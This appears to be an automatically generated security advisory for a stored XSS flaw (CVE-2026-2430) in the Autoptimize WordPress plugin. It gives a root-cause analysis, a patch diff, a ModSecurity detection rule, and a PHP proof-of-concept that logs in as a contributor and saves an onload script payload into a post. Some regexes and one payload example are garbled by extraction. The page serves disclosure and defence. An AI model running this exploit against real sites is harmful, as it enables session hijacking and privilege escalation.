Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-2430: Autoptimize <= 3.1.14 – Authenticated (Contributor+) Stored Cross-Site Scripting via Lazy-loaded Image Attributes (autoptimize)

CVE ID CVE-2026-2430
Plugin autoptimize
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.1.14
Patched Version 3.1.15
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2430:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Autoptimize WordPress plugin. The issue resides in the plugin’s lazy-loading image processing functionality. Attackers with Contributor-level or higher WordPress access can inject malicious scripts into pages. These scripts execute when other users view the compromised pages.

The root cause is an overly permissive regular expression in the `add_lazyload` function within the `autoptimizeImages` class. The vulnerable code in `autoptimize/classes/autoptimizeImages.php` at line 987 uses `preg_replace(‘/(s)src=/’, ‘ src=’ . $placeholder . ” data-src=’, $tag)`. This regex matches any whitespace character followed by `src=` anywhere in the string, not just the actual `src` attribute of an `` tag. An attacker can craft an image tag where the `src` attribute’s URL value contains a space followed by `src=`. The regex then incorrectly replaces this substring, breaking the HTML structure and promoting text within the attribute value into a new, executable HTML attribute.

Exploitation requires an authenticated attacker with at least Contributor privileges to create or edit a post. The attacker inserts a malicious image tag with a crafted `src` attribute. A payload example is ``. When the plugin processes this tag for lazy loading, the regex matches the space before `src=` inside the `onload` attribute value. This replaces that substring, corrupting the HTML and causing the `onload=alert(1)` text to be parsed as a legitimate attribute. The malicious script executes when a visitor loads the page containing this post.

The patch replaces the vulnerable regex-based replacement with safer string operations. In `autoptimize/classes/autoptimizeImages.php`, lines 987-989 change from using `preg_replace` to using `str_replace`. The new code first replaces ` src=` with ` data-src=`, then replaces ` srcset=` with ` data-srcset=`, and finally adds the placeholder by replacing `<img ` with `<img src='placeholder' `. This approach avoids matching substrings inside attribute values. The patch also introduces a new `kses_preload_link` method for stricter output sanitization of preload tags.

Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user viewing the infected page. This can lead to session hijacking, redirection to malicious sites, or actions performed on behalf of the victim user. For Contributor-level attackers, this provides a privilege escalation vector, as the injected scripts can perform actions with the victim's higher privileges if an administrator views the page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/autoptimize/autoptimize.php
+++ b/autoptimize/autoptimize.php
@@ -3,7 +3,7 @@
  * Plugin Name: Autoptimize
  * Plugin URI: https://autoptimize.com/pro/
  * Description: Makes your site faster by optimizing CSS, JS, Images, Google fonts and more.
- * Version: 3.1.14
+ * Version: 3.1.15
  * Author: Frank Goossens (futtta)
  * Author URI: https://autoptimize.com/pro/
  * Text Domain: autoptimize
@@ -21,7 +21,7 @@
     exit;
 }

-define( 'AUTOPTIMIZE_PLUGIN_VERSION', '3.1.14' );
+define( 'AUTOPTIMIZE_PLUGIN_VERSION', '3.1.15' );

 // plugin_dir_path() returns the trailing slash!
 define( 'AUTOPTIMIZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
--- a/autoptimize/classes/autoptimizeExtra.php
+++ b/autoptimize/classes/autoptimizeExtra.php
@@ -467,7 +467,7 @@
                 $preload_as = 'other';
             }

-            $preload_output .= '<link rel="preload" href="' . $preload . '" as="' . $preload_as . '"' . $mime_type . $crossorigin . '>';
+            $preload_output .= '<link rel="preload" fetchpriority="high" href="' . $preload . '" as="' . $preload_as . '"' . $mime_type . $crossorigin . '>';
         }
         $preload_output = apply_filters( 'autoptimize_filter_extra_preload_output', $preload_output );

--- a/autoptimize/classes/autoptimizeImages.php
+++ b/autoptimize/classes/autoptimizeImages.php
@@ -801,7 +801,7 @@
         if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) {
             // the preload was not in an img tag, so adding a non-responsive preload instead.
             foreach ( $metabox_preloads as $img_preload ) {
-                $to_preload .= '<link rel="preload" href="' . $img_preload . '" as="image">';
+                $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '<link fetchpriority="high" rel="preload" href="' . $img_preload . '" as="image">' ) );
             }
         }

@@ -935,7 +935,7 @@
         if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) {
             // the preload was not in an img tag, so adding a non-responsive preload instead.
             foreach ( $metabox_preloads as $img_preload ) {
-                $to_preload .= '<link rel="preload" href="' . $img_preload . '" as="image">';
+                $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '<link fetchpriority="high" rel="preload" href="' . $img_preload . '" as="image">' ) );
             }
         }

@@ -984,8 +984,9 @@
                 $placeholder = apply_filters( 'autoptimize_filter_imgopt_lazyload_placeholder', $this->get_default_lazyload_placeholder( $width, $height ) );
             }

-            $tag = preg_replace( '/(s)src=/', ' src='' . $placeholder . '' data-src=', $tag );
-            $tag = preg_replace( '/(s)srcset=/', ' data-srcset=', $tag );
+            $tag = str_replace( ' src=', ' data-src=', $tag );
+            $tag = str_replace( ' srcset=', ' data-srcset=', $tag );
+            $tag = str_replace( '<img ', '<img src='' . $placeholder . '' ', $tag );

             // move sizes to data-sizes unless filter says no.
             if ( apply_filters( 'autoptimize_filter_imgopt_lazyload_move_sizes', true ) ) {
@@ -1053,11 +1054,21 @@

         // rewrite img tag to link preload img.
         $_from = array( '<img ', ' src=', ' sizes=', ' srcset=' );
-        $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
+        $_to   = array( '<link fetchpriority="high" rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
         $tag   = str_replace( $_from, $_to, $tag );

-        // and using kses, remove all unneeded attributes
-        // keeping only those we *know* are OK and/ or needed
+        // sanitize output
+        $tag = $this->kses_preload_link( $tag );
+
+        // and provide filter for late changes.
+        $tag = apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $tag );
+
+        return $tag;
+    }
+
+    public static function kses_preload_link( $_preload ) {
+        // using kses, remove all unneeded attributes
+        // keeping only those we *know* are OK and/ or needed.
         $allowed_html = array(
                 'link' => array(
                     'rel'           => true,
@@ -1067,11 +1078,12 @@
                     'imagesrcset'   => true,
                     'type'          => true,
                     'media'         => true,
+                    'fetchpriority' => true,
                 ),
             );
-        $tag = wp_kses( $tag, $allowed_html );
+        $_preload = wp_kses( $_preload, $allowed_html );

-        return $tag;
+        return $_preload;
     }

     public static function get_cdn_url() {
--- a/autoptimize/classes/autoptimizeMetabox.php
+++ b/autoptimize/classes/autoptimizeMetabox.php
@@ -273,7 +273,7 @@
         foreach ( apply_filters( 'autoptimize_filter_meta_valid_optims', array( 'ao_post_optimize', 'ao_post_js_optimize', 'ao_post_css_optimize', 'ao_post_ccss', 'ao_post_lazyload', 'ao_post_preload' ) ) as $opti_type ) {
             if ( in_array( $opti_type, apply_filters( 'autoptimize_filter_meta_optim_nonbool', array( 'ao_post_preload' ) ) ) ) {
                 if ( isset( $_POST[ $opti_type ] ) ) {
-                    $ao_meta_result[ $opti_type ] = $_POST[ $opti_type ];
+                    $ao_meta_result[ $opti_type ] = sanitize_text_field( $_POST[ $opti_type ] );
                 } else {
                     $ao_meta_result[ $opti_type ] = false;
                 }
--- a/autoptimize/classes/external/php/ao-minify-html.php
+++ b/autoptimize/classes/external/php/ao-minify-html.php
@@ -98,7 +98,7 @@
             $this->_isXhtml = (false !== strpos($this->_html, '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML'));
         }

-        $this->_replacementHash = 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']);
+        $this->_replacementHash = 'MINIFYHTML' . bin2hex( random_bytes( 16 ) );
         $this->_placeholders = array();

         // replace SCRIPTs (and minify) with placeholders

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2430
# This rule targets the specific XSS payload pattern that exploits the lazy-load regex vulnerability.
# It matches POST requests to the WordPress post editor where the content parameter contains
# the malicious pattern of a space followed by src= inside an img tag's attribute value.
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:10002430,phase:2,deny,status:403,chain,msg:'CVE-2026-2430 Autoptimize Stored XSS via lazy-load regex',severity:'CRITICAL',tag:'CVE-2026-2430',tag:'wordpress',tag:'autoptimize',tag:'xss'"
  SecRule ARGS_POST:action "@streq editpost" "chain"
    SecRule ARGS_POST:content "@rx <img[^>]*srcs*=s*['"][^'"]*s+srcs*=" "t:lowercase,t:htmlEntityDecode,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2430 - Autoptimize <= 3.1.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lazy-loaded Image Attributes

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: Image tag where the src attribute value contains a space followed by src=
// This causes the regex in add_lazyload to break the HTML structure.
$malicious_content = '<img src="http://example.com/image.jpg onload=alert(document.domain) src="">';

// Step 1: Authenticate to WordPress and obtain cookies/nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '?post=123&action=edit'); // Replace 123 with a post ID the user can edit
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

// Get the login page to retrieve the login nonce (if needed) - simplified for example
// In a real scenario, you would parse the login form for _wpnonce.
$response = curl_exec($ch);

// Step 2: Login (simplified - real PoC would need to handle nonce and redirects)
$login_url = 'http://vulnerable-wordpress-site.com/wp-login.php';
$login_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '?post=123&action=edit',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirect after login
$login_response = curl_exec($ch);

// Step 3: Extract the edit post nonce from the page
// This regex is simplified; a robust PoC would parse the HTML properly.
preg_match('/name="_wpnonce" value="([^"]+)"/', $login_response, $nonce_matches);
$edit_nonce = $nonce_matches[1] ?? '';

// Step 4: Update the post with the malicious image content
$post_id = 123; // Target post ID
$update_fields = array(
    'post_ID' => $post_id,
    'content' => $malicious_content,
    '_wpnonce' => $edit_nonce,
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    'save' => 'Update'
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);

// Check if update was successful
if (strpos($update_response, 'Post updated.') !== false) {
    echo "[+] Exploit successful. Post updated with malicious image tag.n";
    echo "[+] Visit the post to trigger the XSS payload.n";
} else {
    echo "[-] Exploit may have failed. Check authentication and post ID.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School